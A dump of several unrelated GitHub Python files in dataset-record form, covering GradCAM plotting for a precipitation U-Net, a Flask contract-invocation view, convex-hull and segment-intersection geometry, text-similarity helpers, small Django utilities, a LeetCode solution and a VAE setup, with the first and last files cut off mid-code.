mask_float, device)]\n use_cuda = (device == 'cuda')\n cam_image = []\n for layer in target_layers:\n with GradCAM(model=model, target_layers=layer, use_cuda=use_cuda) as cam:\n grayscale_cam = cam(input_tensor=x, targets=targets)[0, :]\n cam_image.append(show_cam_on_image(image, grayscale_cam, use_rgb=True))\n\n fig, axes = plt.subplots(2, 3, figsize=(25, 25))\n # axes[0].imshow(x[0][0].detach().cpu().numpy())\n # axes[0].imshow(y_true[0].cpu().numpy())\n # axes[1].imshow((output[0][0]).detach().cpu().numpy())\n # axes[0].set_title('Ground Truth', {'fontsize': 16})\n # axes[0][2].imshow(mask_float)\n # axes[1].set_title('Prediction', {'fontsize': 16})\n\n axes[0][0].imshow(cam_image[6])\n # axes[0][0].set_title('Residual DSC Blocks Activations', {'fontsize': 12})\n axes[0][1].imshow(cam_image[7])\n # axes[0][1].set_title('DSC Path Activation', {'fontsize': 12})\n axes[0][2].imshow(cam_image[8])\n # axes[0][2].set_title('Residual Connection Activation', {'fontsize': 12})\n # axes[0][3].imshow(cam_image[3])\n # axes[0][3].set_title('CBAM Activation', {'fontsize': 12})\n axes[1][0].imshow(cam_image[9])\n axes[1][1].imshow(cam_image[10])\n axes[1][2].imshow(cam_image[11])\n # axes[1][3].imshow(cam_image[7])\n # axes[0][0].imshow(cam_image[8])\n # axes[0][1].imshow(cam_image[9])\n # axes[0][2].imshow(cam_image[10])\n # axes[0][3].imshow(cam_image[11])\n # axes[1][0].imshow(cam_image[12])\n # axes[1][1].imshow(cam_image[13])\n # axes[1][2].imshow(cam_image[14])\n # axes[1][3].imshow(cam_image[15])\n # axes[4][0].imshow(cam_image[16])\n # axes[4][1].imshow(cam_image[17])\n # axes[4][2].imshow(cam_image[18])\n # axes[4][3].imshow(cam_image[19])\n\n # axes[5][0].imshow(cam_image[20])\n # axes[5][0].set_title('Residual DSC Block 6 Activation', {'fontsize': 12})\n # axes[6][0].imshow(cam_image[23])\n # axes[6][0].set_title('Residual DSC Block 7 Activation', {'fontsize': 12})\n # axes[7][0].imshow(cam_image[26])\n # axes[7][0].set_title('Residual DSC Block 8 Activation', {'fontsize': 12})\n # axes[8][0].imshow(cam_image[29])\n # axes[8][0].set_title('Residual DSC Block 9 Activation', {'fontsize': 12})\n # axes[0][2].set_title('binarized output', {'fontsize': 16})\n\n # axes[1][1].imshow(x[0][11].detach().cpu().numpy())\n # axes[1][1].set_title('12th input image', {'fontsize': 16})\n # axes[1][2].imshow(cam_image[3])\n # axes[1][2].set_title('GradCAM', {'fontsize': 16})\n plt.show()\n\n\nif __name__ == '__main__':\n hparams = {\n 'model': 'SAR_UNet_precip',\n 'out_channels': 1,\n 'in_channels': 12, # or 6 or 18 for more or less input data\n \"batch_size\": 6,\n \"learning_rate\": 0.001,\n 'gpus': -1,\n \"lr_patience\": 4,\n \"es_patience\": 30,\n \"use_oversampled_dataset\": True,\n \"bilinear\": True,\n \"valid_size\": 0.1,\n \"dataset_folder\": \"data/precipitation/train_test_2016-2019_input-length_12_img-ahead_6_rain-threshold_50.h5\",\n # change input-length and img-ahead accordingly\n \"resume_from_checkpoint\": None\n # f\"{args.model}/ResSmaAt_UNet2_rain_threshold_50_epoch=56-val_loss=0.300085.ckpt\"\n }\n model = models.SAR_UNet_precip(hparams=hparams)\n model_folder = \"checkpoints/cam/precip\"\n data_file = 'data/precip/train_test_2016-2019_input-length_12_img-ahead_6_rain-threshold_50.h5'\n device = 'cpu'\n model = load_model(model, model_folder, device)\n print(model)\n target_layers = [ # [model.RRCNN1],[model.RRCNN1.doubleconv],[model.RRCNN1.Conv_1x1],[model.cbam1],\n # [model.RRCNN2],[model.RRCNN2.doubleconv],[model.RRCNN2.Conv_1x1],[model.cbam2],\n # [model.RRCNN3],[model.RRCNN3.doubleconv],[model.RRCNN3.Conv_1x1],[model.cbam3],\n # [model.RRCNN4],[model.RRCNN4.doubleconv],[model.RRCNN4.Conv_1x1],[model.cbam4],\n # [model.RRCNN5],[model.RRCNN5.doubleconv],[model.RRCNN5.Conv_1x1],[model.cbam5],\n [model.Up_RRCNN5], [model.Up_RRCNN5.doubleconv], [model.Up_RRCNN5.Conv_1x1],\n [model.Up_RRCNN4], [model.Up_RRCNN4.doubleconv], [model.Up_RRCNN4.Conv_1x1],\n [model.Up_RRCNN3], [model.Up_RRCNN3.doubleconv], [model.Up_RRCNN3.Conv_1x1],\n [model.Up_RRCNN2], [model.Up_RRCNN2.doubleconv], [model.Up_RRCNN2.Conv_1x1],\n ]\n run_cam(model, target_layers, device, hparams['in_channels'])\n","repo_name":"mathieurenault1/SAR-UNet","sub_path":"cam_segmentation_precip.py","file_name":"cam_segmentation_precip.py","file_ext":"py","file_size_in_byte":6482,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"44027746707","text":"#!/usr/bin/env python\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom flask import redirect, render_template, session, url_for, flash\n\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, SubmitField\nfrom wtforms.validators import DataRequired, URL\n\nfrom toxaway.models.profile import Profile\nfrom toxaway.models.contract import Contract\nfrom toxaway.models.eservice import EnclaveService\nfrom toxaway.models.response import ContractResponse, InvocationException\n\nimport logging\nlogger = logging.getLogger(__name__)\n\n__all__ = ['contract_invoke_app']\n\n## ----------------------------------------------------------------\n## ----------------------------------------------------------------\nclass __Contract_Invoke_Form__(FlaskForm) :\n expression = StringField('Expression')\n submit = SubmitField('Submit')\n\n## ----------------------------------------------------------------\n## ----------------------------------------------------------------\nclass contract_invoke_app(object) :\n def __init__(self, config) :\n self.__name__ = type(self).__name__\n self.config = config\n\n def __call__(self, contract_id, *args) :\n logger.info('contract_view_app')\n\n # any update to the data store must be in the context of an authorized profile\n profile = Profile.load(self.config, session['profile_name'], session['profile_secret'])\n if profile is None :\n logger.info('missing required profile')\n return redirect(url_for('login_app'))\n\n logger.info(\"selected contract id is %s\", contract_id)\n contract = Contract.load(self.config, contract_id, use_raw=False)\n if contract is None :\n logger.info('no such contract')\n flash('failed to find contract')\n return render_template('error.html', title='An Error Occurred', profile=profile)\n\n form = __Contract_Invoke_Form__()\n\n if form.validate_on_submit() :\n try :\n expression = form.expression.data\n response = ContractResponse.invoke_method(self.config, profile, contract, expression)\n except InvocationException as e :\n logger.info('invocation failed: %s', str(e))\n return render_template('contract/invoke.html', title='Invocation Results',\n contract=contract, form=form, profile=profile, result=None, error=str(e))\n\n logger.info(\"response is %s\", str(response))\n return render_template('contract/invoke.html', title='Invocation Results',\n contract=contract, form=form, profile=profile, result=response.value, error=None)\n else :\n logger.info('re-render; %s', form.errors)\n return render_template('contract/invoke.html', title='Invoke Contract Method',\n contract=contract, form=form, profile=profile, result=None, error=None)\n","repo_name":"cmickeyb/toxaway","sub_path":"toxaway/views/contract/invoke_app.py","file_name":"invoke_app.py","file_ext":"py","file_size_in_byte":3450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"38140269961","text":"from random import randint, seed, random\nimport matplotlib.pyplot as plt\nimport bintrees\nfrom .classes import Dot, Endpoint\n\n\n\nclass Segment:\n \"\"\"\n Define um segmento de reta. Um segmento é um pedaço de uma reta que conecta 2 pontos\n @parâmetro left - Ponto inicial do segmento\n @parâmetro right - Ponto final do segmento\n @parâmetro label - Nome do segmento\n \"\"\"\n\n def __init__(self, left: Dot, right: Dot, label):\n self.left = left\n self.right = right\n self.label = label\n\n def __repr__(self) -> str:\n return f'( {self.left} -> {self.right}, {self.label} )'\n\n def __eq__(self, other) -> bool:\n return (self.left == other.left and self.right == other.right and self.label == other.label)\n\n\ndef sortDotsByPolarAngle(dotsParam) -> list:\n \"\"\"\n sortDotsByPolarAngle recebe uma lista de pontos não ordenada e retorna a lista com os mesmos pontos, ordenados de acordo com ângulo polar em relação ao ponto de menor y (tratado como âncora). Custo assintótico O(n log n)\n\n @param dotsParam: Lista de pontos não ordenados.\n @return Lista de pontos ordenados\n \"\"\"\n dots = dotsParam.copy()\n anchor = dots[0]\n indx = 0\n anchor_indx = indx\n\n # Encontra âncora em custo O(n)\n for p in dots:\n if p.y < anchor.y:\n anchor = p\n anchor_indx = indx\n elif (p.y == anchor.y and p.x < anchor.x):\n anchor = p\n anchor_indx = indx\n indx += 1\n\n # Normaliza os pontos. Custo O(n)\n norm_dots = []\n dots.pop(anchor_indx)\n for dot in dots:\n norm_dots.append(dot - anchor)\n\n # Ordena os pontos em O(n log n)\n norm_dots.sort()\n\n sorted_dots = [anchor]\n for dot in norm_dots:\n sorted_dots.append(dot + anchor)\n\n return sorted_dots\n\n\ndef noise(x) -> float:\n \"\"\"\n Soma a um número um determinado valor pseudoaleatório no intervalo [0, 1).\n Custo assintótico O(1)\n\n @param Número no qual acrescentar ruído\n @return Número com ruído \n \"\"\"\n return x + random() / 10**7\n\n\ndef isLeftTurn(a, b, c) -> bool:\n \"\"\"\n Dados 3 pontos: a, b e c, a função verifica se há uma volta para a esquerda no caminho a -> b -> c. Custo assinstótico O(1).\n\n @param a: Ponto \n @param a: Ponto \n @param a: Ponto \n @return bool True ou False\n \"\"\"\n B = b - a\n C = c - a\n\n term1 = (B.x)*(C.y)\n term2 = (B.y)*(C.x)\n return (term1 - term2) > 0\n\n\ndef Graham(DotListParam) -> list:\n \"\"\"\n Execução padrão da Varredura de Graham para definir a envoltória convexa do conjunto. Custo assintótico O(n).\n\n @param DotListParam: Lista de pontos ordenados pela coordenada polar em relação ao âncora\n\n @return list: Lista com os pontos pertencentes à envoltória convexa \n \"\"\"\n DotList = DotListParam\n stack = []\n stack.append(DotList[0])\n stack.append(DotList[1])\n stack.append(DotList[2])\n\n for i in range(3, len(DotList), 1):\n laster = len(stack) - 1\n while not isLeftTurn(stack[laster - 1], stack[laster], DotList[i]):\n stack.pop()\n laster -= 1\n stack.append(DotList[i])\n\n return stack\n\n\ndef on_segment(p1: Dot, p2: Dot, p3: Dot) -> bool:\n \"\"\"\n Verifica se o ponto p3 está na semireta p1 -> p2, ou seja, p1 -> p2 -> p3 são colineares\n\n @param p1: Ponto\n @param p2: Ponto\n @param p3: Ponto\n @return: bool\n \"\"\"\n\n p1HasLessX = p1.x < p2.x\n if p1HasLessX and p1.x <= p3.x and p2.x >= p3.x:\n return True\n if p2.x <= p3.x and p1.x >= p3.x:\n return True\n return False\n\n\ndef direction(a, b, c) -> int:\n \"\"\" \n Verifica a direção seguida na mudança de rotas a -> b -> c.\n\n @return 1 se vira a esquerda, 0 se colinear e -1 se vira à direita\n \"\"\"\n\n B = b - a\n C = c - a\n\n term1 = (B.x)*(C.y)\n term2 = (B.y)*(C.x)\n return (term1 - term2)\n\n\ndef __aux_segments_intersect__(p1, p2, p3, p4) -> bool:\n \"\"\"\n Método auxiliar para verificar se há intersecção entre dois segmentos.\n Não deve ser chamado no corpo principal das funções.\n \"\"\"\n\n d1 = direction(p3, p4, p1)\n d2 = direction(p3, p4, p2)\n d3 = direction(p1, p2, p3)\n d4 = direction(p1, p2, p4)\n\n if ((d1 > 0 and d2 < 0) or (d1 < 0 and d2 > 0)) and ((d3 > 0 and d4 < 0) or (d3 < 0 and d4 > 0)):\n return True\n if d1 == 0 and on_segment(p3, p4, p1):\n return True\n if d2 == 0 and on_segment(p3, p4, p2):\n return True\n if d3 == 0 and on_segment(p1, p2, p3):\n return True\n if d4 == 0 and on_segment(p1, p2, p4):\n return True\n\n return False\n\n\ndef segments_intersect(s1: Segment, s2: Segment) -> bool:\n \"\"\"\n Dados dois segmentos, verifica se há intersecção entre eles.\n\n @param s1: Segmento\n @param s2: Segmento\n\n @return bool\n \"\"\"\n return __aux_segments_intersect__(s1.left, s1.right, s2.left, s2.right)\n\n\ndef isAbove(avl: bintrees.AVLTree, key) -> bool:\n \"\"\"\n Verifica se um segmento possui algum acima dele\n\n \"\"\"\n if avl.__contains__(key):\n try:\n segment = avl.succ_item(key)[1]\n return (True, segment)\n except:\n return False, 'error'\n else:\n try:\n segment = avl.ceiling_item(key)[1]\n return (True, segment)\n except:\n return False, 'error'\n\n\ndef isBelow(avl, key) -> bool:\n \"\"\"\n Verifica se algum segmento possui segmentos abaixo dele\n \"\"\"\n if avl.__contains__(key):\n try:\n segment = avl.prev_item(key)[1]\n return (True, segment)\n except:\n return False, 'error'\n else:\n try:\n segment = avl.floor_item(key)[1]\n return (True, segment)\n except:\n return False, 'error'\n\n\ndef sweepLineIntersection(endpoitsList, segmentsList) -> bool:\n \"\"\"\n Algoritmo de varredura linear. Verifica se existe interesecção na lista de segmentos varridos no momento.\n\n @param endpoitsList: Lista de pontos finais\n @param segmentList: Lista com segmentos sendo varridos no momento\n \"\"\"\n avl = [bintrees.AVLTree(), bintrees.AVLTree()]\n\n for p in endpoitsList:\n\n s = segmentsList[p.segmentIndx]\n\n # Insere o segmento na arvore\n if p.endpointType == 'left':\n\n # Insere o segmento na arvore\n if avl[s.label].__contains__(s.left.y):\n itemList = avl[s.label].get(s.left.y)\n itemList.append(s)\n avl[s.label].insert(s.left.y, itemList)\n else:\n avl[s.label].insert(s.left.y, [s])\n\n aboveExist, otherSegments = isAbove(avl[s.label - 1], s.left.y)\n if (aboveExist):\n for other in otherSegments:\n hasIntersection = segments_intersect(s, other)\n if (hasIntersection):\n return True\n\n belowExist, otherSegments = isBelow(avl[s.label - 1], s.left.y)\n if (belowExist):\n for other in otherSegments:\n hasIntersection = segments_intersect(s, other)\n if (hasIntersection):\n return True\n\n else:\n aboveExistOther, aboveSegmentsOther = isAbove(\n avl[s.label - 1], s.right.y)\n belowExistOther, belowSegmentsOther = isBelow(\n avl[s.label - 1], s.right.y)\n\n aboveExist, aboveSegments = isAbove(avl[s.label], s.right.y)\n belowExist, belowSegments = isBelow(avl[s.label], s.right.y)\n\n if (aboveExist and belowExistOther):\n for aboveSegment in aboveSegments:\n for belowSegment in belowSegmentsOther:\n hasIntersection = segments_intersect(\n aboveSegment, belowSegment)\n if (hasIntersection):\n return True\n\n if (aboveExistOther and belowExist):\n for aboveSegment in aboveSegmentsOther:\n for belowSegment in belowSegments:\n hasIntersection = segments_intersect(\n aboveSegment, belowSegment)\n if (hasIntersection):\n return True\n\n # remoção do segmento\n itemList = avl[s.label].get(s.left.y)\n if len(itemList) > 1:\n for i in range(len(itemList) - 1):\n if (itemList[i] != s):\n continue\n itemList.pop(i)\n\n else:\n avl[s.label].pop(s.left.y, False)\n\n return False\n\n\ndef EnvoltoriaAleatoria(seedParam=12, numDots=20, x_inicial=0, x_final=100, y_inicial=0, y_final=100) -> tuple([list, list]):\n \"\"\"\n Gera uma lista de pontos aleatória, e, em seguida, aplica o algoritmo de Graham nela.\n\n @return uma tupla contendo a lista de pontos e a lista com os pontos pertencentes à envoltória\n \"\"\"\n dot_list = []\n\n seed(seedParam)\n for i in range(numDots):\n x = randint(x_inicial, x_final)\n y = noise(randint(y_inicial, y_final))\n a = Dot(x, y)\n dot_list.append(a)\n\n sorted_list = sortDotsByPolarAngle(dot_list)\n\n return (dot_list, Graham(sorted_list))\n\n\ndef plotEnvoltoria(ax, pontos, envoltoria, rotulo, dotType='r*', envType='b-') -> None:\n \"\"\"\n Plota a envoltória convexa no gráfico\n \"\"\"\n for i in range(len(pontos)):\n ax.plot(pontos[i].x, pontos[i].y, dotType)\n\n lista_Envoltoria = [[], []]\n\n for e in envoltoria:\n lista_Envoltoria[0].append(e.x)\n lista_Envoltoria[1].append(e.y)\n\n ax.plot(lista_Envoltoria[0], lista_Envoltoria[1], envType, label=rotulo)\n ax.plot([lista_Envoltoria[0][len(lista_Envoltoria[0]) - 1], lista_Envoltoria[0][0]],\n [lista_Envoltoria[1][len(lista_Envoltoria[1]) - 1], lista_Envoltoria[1][0]], envType)\n ax.legend(loc=\"upper left\")\n\n\ndef preProcessConvexHull(EnvoltoriaA, EnvoltoriaB) -> tuple:\n \"\"\"\n Faz o pré processamento das envoltórias convexas.\n\n \"\"\"\n endpoitsList: Endpoint = []\n segmentsList: Segment = []\n\n for i in range(len(EnvoltoriaA) - 1):\n dotA = EnvoltoriaA[i]\n dotB = EnvoltoriaA[i + 1]\n\n left = dotA if dotA.x < dotB.x else dotB\n right = dotA if dotA.x >= dotB.x else dotB\n\n endpoitsList.append(Endpoint(left, segmentIndx=i, endpointType='left'))\n endpoitsList.append(\n Endpoint(right, segmentIndx=i, endpointType='right'))\n\n segmentsList.append(Segment(left, right, 0))\n\n pn = EnvoltoriaA[-1]\n p0 = EnvoltoriaA[0]\n\n left = pn if pn.x < p0.x else p0\n right = pn if pn.x >= p0.x else p0\n\n segmentMax = len(segmentsList)\n\n endpoitsList.append(\n Endpoint(left, segmentIndx=segmentMax, endpointType='left'))\n endpoitsList.append(\n Endpoint(right, segmentIndx=segmentMax, endpointType='right'))\n segmentsList.append(Segment(left, right, 0))\n\n for j in range(len(EnvoltoriaA), len(EnvoltoriaA) + len(EnvoltoriaB) - 1):\n i = j - len(EnvoltoriaA)\n dotA = EnvoltoriaB[i]\n dotB = EnvoltoriaB[i + 1]\n\n left = dotA if dotA.x < dotB.x else dotB\n right = dotA if dotA.x >= dotB.x else dotB\n\n endpoitsList.append(Endpoint(left, segmentIndx=j, endpointType='left'))\n endpoitsList.append(\n Endpoint(right, segmentIndx=j, endpointType='right'))\n\n segmentsList.append(Segment(left, right, 1))\n\n pn = EnvoltoriaB[-1]\n p0 = EnvoltoriaB[0]\n left = pn if pn.x < p0.x else p0\n right = pn if pn.x >= p0.x else p0\n\n segmentMax = len(segmentsList)\n\n endpoitsList.append(\n Endpoint(left, segmentIndx=segmentMax, endpointType='left'))\n endpoitsList.append(\n Endpoint(right, segmentIndx=segmentMax, endpointType='right'))\n segmentsList.append(Segment(left, right, 1))\n\n endpoitsList.sort()\n\n return (endpoitsList, segmentsList)\n\n# ************************** Model Section ***********************************\n\n\ndef squareDotsDistance(dotA: Dot, dotB: Dot) -> float:\n \"\"\"\n Define a distância quadrada entre dois pontos\n\n \"\"\"\n return (dotB.x - dotA.x)**2 + (dotB.y - dotA.y)**2\n\n\ndef closesPoint(EnvoltoriaA, EnvoltoriaB) -> tuple([Dot, Dot]):\n \"\"\"\n Dadas duas envoltórias, este método retorna o par de pontos mais próximos, sendo um pertencente à A e outro pertencente à B.\n \"\"\"\n lenMin = squareDotsDistance(EnvoltoriaA[0], EnvoltoriaB[0])\n aMin = EnvoltoriaA[0]\n bMin = EnvoltoriaB[0]\n for a in EnvoltoriaA:\n for b in EnvoltoriaB:\n if squareDotsDistance(a, b) < lenMin:\n lenMin = squareDotsDistance(a, b)\n aMin = a\n bMin = b\n\n return aMin, bMin\n\n\ndef orthogonalLine(aDot, bDot, extremeX, extremeY) -> tuple([Dot, Dot]):\n \"\"\"\n Dados dois pontos A e B, determina uma linha ortogonal que divide o segmento que conecta ambos ao meio (a mediatriz).\n\n @param aDot: Ponto A\n @param bDot: Ponto B\n\n @return Uma lista contendo : Os pontos que determinam a mediatriz, os pontos A e B\n \"\"\"\n\n left = aDot if aDot.x < bDot.x else bDot\n right = aDot if aDot.x >= bDot.x else bDot\n\n xMedio = (left.x + right.x)/2\n yMedio = (left.y + right.y)/2\n\n deltaY = (bDot.y - aDot.y)\n deltaX = (bDot.x - aDot.x)\n\n if deltaY == 0:\n deltaY = 0.0000001\n\n\n angCoef = - (deltaX / deltaY)\n bMediatriz = yMedio - angCoef*xMedio\n\n mediatrizA = Dot(extremeX[0], angCoef*(extremeX[0]) + bMediatriz)\n mediatrizB = Dot(extremeX[1], angCoef*(extremeX[1]) + bMediatriz)\n\n \n\n return (mediatrizA, mediatrizB), (angCoef, bMediatriz)\n\n\ndef ourModel(EnvoltoriaA, EnvoltoriaB, extremeX, extremeY) -> tuple([tuple, tuple]):\n \"\"\"\n Dadas as duas envoltórias, encontra o par de pontos mais próximos e liga as duas. Em seguida, traça a ortogonal à reta de ligação. \n \"\"\"\n line = closesPoint(EnvoltoriaA, EnvoltoriaB)\n a, b = line\n\n orthogonal, params = orthogonalLine(a, b, extremeX, extremeY)\n\n # Verifica se a reta é realmente orthogonal\n c, d = orthogonal\n produtoEscalar = (b.x - a.x) * (d.x - c.x) + (b.y - a.y) * (d.y - c.y)\n\n assert produtoEscalar <= 10**-6, \"Erro a reta encontrada não é ortogonal\"\n\n # Verfica se a envoltoria A está a esquerda da Reta\n left = direction(c, d, a) > 0\n\n\n return orthogonal, line, left, params\n\n# **************************** Test Section ************************\n\n\ndef testTo(n: int) -> None:\n \"\"\"\n Função que testa todo o processo de funcionamento do modelo: Desde a criação de dois conjuntos de pontos aleatórios, passando pela criação das envoltórias até chegar na separação dos conjuntos.\n\n @param n Número de testes pseudoaleatórios a serem gerados\n \n A função não retorna nada. Ela plota os gráficos, mostrando as envoltórias.\n \"\"\"\n nPoints = 6\n fig, ax = plt.subplots(n)\n fig.set_figheight(2*n)\n plt.subplots_adjust(hspace=0.5)\n\n for i in range(n):\n (pontosA, EnvoltoriaA) = EnvoltoriaAleatoria(i+1, numDots=nPoints)\n (pontosB, EnvoltoriaB) = EnvoltoriaAleatoria(\n i+3, nPoints, 30, 200, 50, 200)\n\n plotEnvoltoria(ax[i], pontosA, EnvoltoriaA)\n plotEnvoltoria(ax[i], pontosB, EnvoltoriaB, dotType='go', envType='y-')\n\n endPointList, segmentsList = preProcessConvexHull(\n EnvoltoriaA=EnvoltoriaA, EnvoltoriaB=EnvoltoriaB)\n\n isIntercect = (sweepLineIntersection(endPointList, segmentsList))\n ax[i].set_title(isIntercect)\n\n plt.show()\n","repo_name":"Gcastelo01/TP1_Alg2","sub_path":"modules/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":15642,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"25467715112","text":"from sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom utils.load_data import load_stopwords\nfrom gensim.models import KeyedVectors\nimport numpy as np\nfrom utils import write_a_log\nfrom config import WORD2VER_MODEL_PATH\nword2vec_model = KeyedVectors.load(WORD2VER_MODEL_PATH, mmap='r')\n\nSTOPWORDS = load_stopwords()\n\nclass TfidfDecisionMaker:\n \"\"\"\n 将句子使用TFIDF向量化表示,判断相邻两句的cosine 相似度。相似度小于某一阈值,认为相邻的两句不相关。可以断句\n \"\"\"\n\n def __init__(self,segmented_sentences, alpha=0.1, max_length=3):\n self.sentences = segmented_sentences\n self.alpha = alpha\n self.max_length = max_length\n\n self.vectorizer = TfidfVectorizer(analyzer=self.clean_words)\n #print(self.sentences)\n self.tfidf_X = self.vectorizer.fit_transform(self.sentences)\n self.doc_length = len(segmented_sentences)\n \n\n @staticmethod\n def clean_words(sen):\n# print(sen)\n return [s for s in sen if s not in STOPWORDS]\n\n def get_end_index(self,sen_index):\n base_vector = self.tfidf_X[sen_index]\n end_index = sen_index\n check_indices = range(sen_index+1,min(self.doc_length, sen_index+self.max_length+1))\n similaritys = []\n for i in check_indices:\n similarity = cosine_similarity(base_vector.reshape(1,-1), self.tfidf_X[i].reshape(1,-1))\n if similarity[0][0] > self.alpha:\n end_index = i\n similaritys.append(similarity[0][0])\n else:\n break\n write_a_log('DecisionMaker','get_end_index',similaritys)\n return end_index ,similaritys\n\nclass Word2vecDecisionMaker(TfidfDecisionMaker):\n def __init__(self,segmented_sentences, alpha=0.1, max_length=3):\n self.sentences = segmented_sentences\n self.alpha = alpha\n self.max_length = max_length\n self.vec_size = word2vec_model.vector_size\n def calc_sen_vector(sen):\n all_vec = [word2vec_model[w] if w in word2vec_model else np.zeros(self.vec_size) for w in sen]\n return np.average(all_vec,axis=0)\n self.tfidf_X = np.array([calc_sen_vector(sen) for sen in self.sentences])\n\n # self.vectorizer = TfidfVectorizer(analyzer=self.clean_words)\n # #print(self.sentences)\n # self.tfidf_X = self.vectorizer.fit_transform(self.sentences)\n self.doc_length = len(segmented_sentences)\n\n\n ","repo_name":"zhangxu999/opinon_extraction","sub_path":"model/speech.py","file_name":"speech.py","file_ext":"py","file_size_in_byte":2536,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"11"} +{"seq_id":"34617798446","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.db import connection\n\ndef testdb(request):\n try:\n count = 0\n with connection.cursor() as cursor:\n cursor.execute(\"SHOW TABLES\")\n data = cursor.fetchall()\n count = len(data)\n except:\n raise Http404(\"Cannot connect to default db\")\n return HttpResponse(\"%s database tables found\" % count )\n","repo_name":"Robo-Mike/PythonMusicApp","sub_path":"webfileupload/webfileupload/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"13670921779","text":"import json\nimport os.path\nimport os\nimport subprocess\n\nfrom django.core.management.base import BaseCommand\n\nTEST_URLS_FILENAME = os.path.join(os.path.dirname(__file__), '../../fixtures/test_urls.json')\n\nclass Command(BaseCommand):\n args = ''\n help = 'Adds url to test_urls.json'\n\n def handle(self, *args, **options):\n with open(TEST_URLS_FILENAME, 'r') as f:\n data = json.load(f)\n max_pk = max(u['pk'] for u in data)\n new_d = { 'pk': max_pk + 1, 'model': 'debra.ProductModel', 'fields': { 'prod_url': args[0] } }\n data.append(new_d)\n with open(TEST_URLS_FILENAME, 'w') as f:\n f.write(json.dumps(data, indent=2))\n self.stdout.write(str(max_pk + 1) + '\\n')\n settings_module = os.environ.get('DJANGO_SETTINGS_MODULE')\n assert settings_module and settings_module != 'settings', 'Production settings module used'\n subprocess.call(['python', 'manage.py', 'loaddata', 'xps', 'test_urls'])\n subprocess.call(['python', 'manage.py', 'extractxpaths', '--test', str(max_pk + 1)])\n\n","repo_name":"TopWebGhost/Angular-Influencer","sub_path":"Projects/miami_metro/xps/management/commands/addurltojson.py","file_name":"addurltojson.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"36584710303","text":"class Solution:\n def maxSubArray(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n j,max=0,nums[1]\n while jmax:\n max=res\n i+=1\n j+=1\n return max\n\n\n def maxSubArray1(self, nums):\n\n if len(nums) == 0:\n return 0\n preSum = maxSum = nums[0]\n for i in range(1, len(nums)):\n preSum = max(preSum + nums[i], nums[i])\n maxSum = max(maxSum, preSum)\n return maxSum\nso = Solution()\narr = [-2,1,-3,4,-1,2,1,-5,4]\nprint(so.maxSubArray(arr))\nprint(so.maxSubArray1(arr))","repo_name":"hensby/leetcode","sub_path":"Maximum_Subarray.py","file_name":"Maximum_Subarray.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"11773514043","text":"from os import strerror\n\nfileName = input(\"What's the name of your file? \")\ndict = {}\ntry:\n f = open(fileName, 'rt')\n for line in f:\n for c in line:\n if c != ' ':\n if c in dict:\n dict[c] += 1\n else:\n dict[c] = 1\n f.close()\nexcept IOError as exc:\n print(\"IOerror: \",strerror(exc.errno))\nprint('Original: ', dict)\ndict2 = sorted(dict, key = lambda x: dict[x], reverse= True) \n #the sorted fun returns the sorted list of keys as per the given key fun, \n # here as per the key's values\n # the reverse attr when set to True sorts the iterable in revers order\ntry:\n h = open(input(\"File name: \") + \".hist\", 'wt')\n for i in dict2:\n cnt = dict[i]\n h.write(i + \"->\" + str(dict[i]) + \"\\n\")\nexcept IOError as e:\n print(\"Could not open the file due to: \",strerror(e.errno))","repo_name":"Jennydevid/python-repo","sub_path":"module4 of II/count_alphabets2.py","file_name":"count_alphabets2.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"27703852933","text":"import torch\nimport torch.nn as nn\nimport torch.nn.parallel\nimport torch.optim as optim\nimport torch.utils.data\nfrom torch.autograd import Variable\nfrom torch.utils.data import DataLoader\nfrom torchvision import transforms\n\n#Configure VAE\n\n#Set up parameters\n\n#learning_rate = 0.01\nlearning_rate = 0.1\nnum_steps = 100\n\ndisplay_step = 20\nexamples_to_show =5\n\n# Network Parameters\n# num_hidden_1 = 256 # 1st layer num features\n# num_hidden_2 = 128 # 2nd layer num features (the latent dim)\nnum_input = XA.shape[1] \n\n# Network Parameters\nhidden_dim = XA.shape[1]\nlatent_dim = XA.shape[1]\n\ndef glorot_init(shape):\n return tf.random_normal(shape=shape, stddev=1. / tf.sqrt(shape[0] / 2.))\n\n#Configure layers\n# Variables\ninput_data = tf.placeholder(\"float\", [None, num_input])\n\nweights = {\n 'encoder_h1': tf.Variable(glorot_init([num_input, hidden_dim])),\n 'encoder_h2': tf.Variable(glorot_init([num_input, hidden_dim])),\n 'z_mean': tf.Variable(glorot_init([hidden_dim, latent_dim])), \n 'z_std': tf.Variable(glorot_init([hidden_dim, latent_dim])),\n 'decoder_h1': tf.Variable(glorot_init([latent_dim, hidden_dim])),\n 'decoder_h2': tf.Variable(glorot_init([latent_dim, hidden_dim])),\n 'decoder_out': tf.Variable(glorot_init([hidden_dim, num_input]))\n}\nbiases = {\n 'encoder_b1': tf.Variable(glorot_init([hidden_dim])),\n 'encoder_b2': tf.Variable(glorot_init([hidden_dim])),\n 